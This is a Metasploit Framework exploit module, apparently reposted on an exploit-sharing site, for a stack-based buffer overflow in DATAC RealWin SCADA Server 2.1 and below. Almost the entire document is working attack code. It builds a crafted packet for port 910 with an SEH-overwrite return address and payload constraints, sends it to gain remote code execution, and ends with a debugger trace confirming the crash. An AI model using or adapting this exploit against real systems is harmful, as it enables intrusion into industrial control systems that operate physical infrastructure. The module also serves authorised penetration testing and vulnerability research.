ExploitFixes
DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow 2011-06-20 12:15:05

##
# $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability found in DATAC Control International RealWin
SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
packet via port 910, RealWin will try to create a file (which would be saved to
C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user-
supplied filename with a inline memcpy routine without proper bounds checking, which
results a stack-based buffer overflow, allowing arbitrary remote code execution.

Tested version: 2.0 (Build 6.1.8.10)
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12975 $',
'References' =>
[
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(910)], self.class)
end

def exploit

connect

data = [0x67542310].pack('V')
data << [0x00000824].pack('V')
data << [0x00100001].pack('V')
data << [0x00000001].pack('V') #Packet type
data << [0x00060000].pack('V')
data << [0x0000ffff].pack('V')
data << rand_text_alpha_upper(221)
data << generate_seh_payload(target.ret)
data << rand_text_alpha_upper(17706 - payload.encoded.length)
data << [0x451c3500].pack('V')
data << [0x00000154].pack('V')
data << [0x00020040].pack('V')

print_status("Trying target #{target.name}...")
sock.put(data)
select(nil,nil,nil,0.5)

handler
disconnect

end

end


=begin
0:022> r
eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd
eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
RealWinDemo+0x2702f:
0042702f f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:022> !exchain
0587f748: RealWinDemo+e0b78 (004e0b78)
0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)
Invalid exception stack at 49a206eb
0:022> u 4002da21
FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:
4002da21 5e pop esi
4002da22 5b pop ebx
4002da23 c3 ret
=end